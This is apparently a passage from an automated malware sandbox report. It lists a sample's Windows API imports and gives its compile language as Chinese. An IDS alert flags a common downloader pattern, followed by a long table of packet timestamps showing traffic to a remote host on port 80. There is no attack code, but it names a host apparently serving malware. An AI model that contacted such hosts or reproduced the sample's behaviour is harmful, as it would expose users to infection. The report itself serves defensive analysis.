GetEnvironmentVariableA, HeapDestroy, HeapCreate, VirtualFree, SetEnvironmentVariableA, LCMapStringA, LCMapStringW, VirtualAlloc, IsBadWritePtr, SetUnhandledExceptionFilter, GetStringTypeA, GetStringTypeW, CompareStringA, CompareStringW, IsBadReadPtr, IsBadCodePtr, SetStdHandle, SuspendThread
        USER32.dllGetWindow, GetActiveWindow, SetFocus, IsIconic, DestroyAcceleratorTable, SetWindowRgn, GetMessagePos, ScreenToClient, GetSysColorBrush, IsZoomed, PostQuitMessage, CopyAcceleratorTableA, GetKeyState, TranslateAcceleratorA, IsWindowEnabled, ShowWindow, SystemParametersInfoA, LoadImageA, EnumDisplaySettingsA, ClientToScreen, EnableMenuItem, GetSubMenu, GetDlgCtrlID, CreateAcceleratorTableA, CreateMenu, ModifyMenuA, AppendMenuA, CreatePopupMenu, CreateIconFromResource, CreateIconFromResourceEx, RegisterClipboardFormatA, ChildWindowFromPointEx, CopyRect, LoadBitmapA, WinHelpA, SetRectEmpty, SetTimer, ReleaseCapture, GetCapture, SetCapture, GetScrollRange, SetScrollRange, SetScrollPos, LoadStringA, GetMenuCheckMarkDimensions, GetMenuState, SetMenuItemBitmaps, SetRect, InflateRect, IntersectRect, DestroyIcon, PtInRect, OffsetRect, IsWindowVisible, PeekMessageA, RedrawWindow, GetWindowLongA, SetWindowLongA, GetSysColor, SetActiveWindow, SetCursorPos, LoadCursorA, SetCursor, GetDC, FillRect, IsRectEmpty, ReleaseDC, IsChild, DestroyMenu, SetForegroundWindow, GetWindowRect, EqualRect, UpdateWindow, ValidateRect, InvalidateRect, GetClientRect, GetFocus, GetParent, GetTopWindow, PostMessageA, IsWindow, SetParent, DestroyCursor, SendMessageA, SetWindowPos, MessageBoxA, GetCursorPos, GetSystemMetrics, EmptyClipboard, SetClipboardData, OpenClipboard, GetClipboardData, CloseClipboard, wsprintfA, WaitForInputIdle, SetMenu, GetMenu, DispatchMessageA, GetMessageA, WindowFromPoint, DrawFocusRect, DrawEdge, DrawFrameControl, TranslateMessage, LoadIconA, GetDesktopWindow, GetClassNameA, GetWindowThreadProcessId, FindWindowA, GetDlgItem, GetWindowTextA, DeleteMenu, GetSystemMenu, DefWindowProcA, EnableWindow, GetClassInfoA, KillTimer, UnregisterClassA, DrawIconEx, GetWindowTextLengthA, CharUpperA, GetWindowDC, BeginPaint, EndPaint, TabbedTextOutA, DrawTextA, GrayStringA, DestroyWindow, CreateDialogIndirectParamA, EndDialog, GetNextDlgTabItem, GetWindowPlacement, RegisterWindowMessageA, GetForegroundWindow, GetLastActivePopup, GetMessageTime, RemovePropA, CallWindowProcA, GetPropA, UnhookWindowsHookEx, SetPropA, GetClassLongA, CallNextHookEx, SetWindowsHookExA, CreateWindowExA, GetMenuItemID, GetMenuItemCount, RegisterClassA, GetScrollPos, AdjustWindowRectEx, MapWindowPoints, SendDlgItemMessageA, ScrollWindowEx, IsDialogMessageA, SetWindowTextA, MoveWindow, CheckMenuItem
        GDI32.dllTextOutA, RectVisible, PtVisible, GetViewportExtEx, ExtSelectClipRgn, LineTo, MoveToEx, ExcludeClipRect, GetStockObject, CreateFontIndirectA, EndPage, EndDoc, DeleteDC, StartDocA, StartPage, BitBlt, CreateCompatibleDC, Ellipse, Rectangle, ExtTextOutA, DPtoLP, GetCurrentObject, RoundRect, GetTextExtentPoint32A, GetDeviceCaps, DeleteObject, SelectClipRgn, CreatePolygonRgn, GetClipRgn, SetStretchBltMode, CreateRectRgnIndirect, SetBkColor, GetClipBox, ScaleWindowExtEx, SetWindowExtEx, SetWindowOrgEx, ScaleViewportExtEx, SetViewportExtEx, OffsetViewportOrgEx, SetViewportOrgEx, SetMapMode, SetTextColor, SetROP2, Escape, GetTextMetricsA, CreateSolidBrush, FillRgn, CreateRectRgn, CombineRgn, PatBlt, CreatePen, GetObjectA, SelectObject, CreateBitmap, CreateDCA, CreateCompatibleBitmap, GetPolyFillMode, GetStretchBltMode, GetROP2, GetBkColor, GetBkMode, GetTextColor, CreateRoundRectRgn, CreateEllipticRgn, PathToRegion, SetPolyFillMode, SetBkMode, RestoreDC, SaveDC, EndPath, BeginPath, GetWindowOrgEx, GetViewportOrgEx, GetWindowExtEx, GetDIBits, RealizePalette, SelectPalette, CreateDIBitmap, CreatePalette, LPtoDP, StretchBlt, GetSystemPaletteEntries
        WINSPOOL.DRVOpenPrinterA, DocumentPropertiesA, ClosePrinter
        ADVAPI32.dllRegOpenKeyExA, RegSetValueExA, RegQueryValueA, RegCreateKeyExA, RegOpenKeyA, RegCloseKey
        SHELL32.dllShell_NotifyIconA, ShellExecuteA, SHChangeNotify, SHGetSpecialFolderPathA
        ole32.dllCLSIDFromString, OleUninitialize, CoCreateInstance, OleInitialize
        OLEAUT32.dllLoadTypeLib, RegisterTypeLib, UnRegisterTypeLib
        COMCTL32.dllImageList_Destroy
        comdlg32.dllChooseColorA, GetFileTitleA, GetSaveFileNameA, GetOpenFileNameA
        Language of compilation systemCountry where language is spokenMap
        ChineseChina
        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
        2024-11-20T09:14:45.429724+01002803304ETPRO MALWARE Common Downloader Header Pattern HCa3192.168.2.114970242.193.100.5780TCP
        TimestampSource PortDest PortSource IPDest IP
        Nov 20, 2024 09:14:43.156764030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:43.165366888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:43.165441990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:43.165663958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:43.174057961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.096400976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.096522093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.170099974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.177906990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.500780106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.500842094 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.500897884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.500910044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.500921965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.500932932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.500936985 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.500976086 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.501022100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.502677917 CET4970280192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.511079073 CET804970242.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.511146069 CET4970280192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.511332035 CET4970280192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.517385960 CET804970242.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.724827051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.724853992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.724865913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.724878073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.724889994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.724893093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.724906921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.724926949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.724926949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.724961042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.725681067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.725692987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.725725889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.725756884 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.726047993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.726058960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.726069927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.726092100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.726129055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.726129055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.976378918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.976406097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.976418972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.976442099 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.976486921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.976486921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.976495028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.976538897 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.976659060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.976710081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.976716995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.976721048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.976758003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.976767063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.976809025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.976809025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.977822065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.977873087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.977889061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.977900982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.977925062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.977950096 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.977950096 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.977989912 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.978379965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.978391886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:44.978429079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:44.978461981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.062043905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.062108994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.235595942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.235624075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.235635996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.235670090 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.235671043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.235698938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.235727072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.235738993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.235743999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.235764027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.235790014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.235841990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.235855103 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.235888004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.235922098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.236895084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.236953020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.236994028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.237005949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.237016916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.237030029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.237063885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.237116098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.237550974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.237562895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.237575054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.237601995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.237616062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.237623930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.237631083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.237663031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.237694979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.238365889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.238425970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.238425970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.238476992 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.429563999 CET804970242.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.429582119 CET804970242.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.429603100 CET804970242.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.429610014 CET804970242.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.429615974 CET804970242.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.429622889 CET804970242.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.429723978 CET4970280192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.429862022 CET4970280192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.432466984 CET4970280192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.432563066 CET4970280192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.525804996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.525835037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.525845051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.525856972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.525871038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.525924921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.525955915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.525995016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.525995016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.526302099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.526345015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.526372910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.526469946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.526484013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.526495934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.526508093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.526539087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.526560068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.526571035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.526582003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.526597023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.526628971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.526830912 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.527246952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.527260065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.527271032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.527344942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.527348042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.527348042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.527358055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.527369976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.527381897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.527411938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.527476072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.528153896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.528211117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.528215885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.528243065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.528278112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.528281927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.528296947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.528407097 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.826308012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826328039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826353073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826364994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826376915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826453924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826452971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.826453924 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.826514006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826548100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.826591015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826622009 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.826634884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826673985 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.826709032 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.826778889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826801062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826813936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.826891899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.826891899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.827076912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.827090025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.827100039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.827143908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.827155113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.827168941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.827172041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.827172041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.827214956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.827227116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.827233076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.827233076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.827243090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.827668905 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.828037977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828049898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828062057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828090906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828104019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828114033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828125000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828125954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.828125954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.828164101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828176022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828201056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.828201056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.828309059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.828876972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828917980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828929901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.828969955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.828969955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.828969955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.829006910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.829019070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.829030037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.829041958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.829057932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.829226017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.829237938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.829261065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.829315901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:45.831031084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.831042051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:45.831192017 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.124284029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124397039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124408007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124419928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124445915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.124514103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.124548912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124562025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124572992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124579906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124586105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124597073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124598026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.124624968 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.124677896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.124907970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124918938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124929905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124941111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124953985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.124974966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.125089884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125099897 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.125205040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125252008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.125370026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125384092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125395060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125406027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125423908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125444889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.125489950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.125489950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.125875950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125886917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125897884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125906944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125917912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125929117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125940084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.125955105 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.125996113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.125996113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.126233101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126244068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126287937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126318932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.126430035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.126447916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126457930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126467943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126477957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126490116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126508951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.126543045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.126543999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.126589060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126601934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126612902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126622915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.126646996 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.126689911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.126689911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.127260923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127273083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127285957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127353907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.127398968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127410889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127423048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127433062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127445936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127456903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.127490044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:46.127604008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127615929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127625942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:46.127630949 CET804970142.193.100.57192.168.2.11
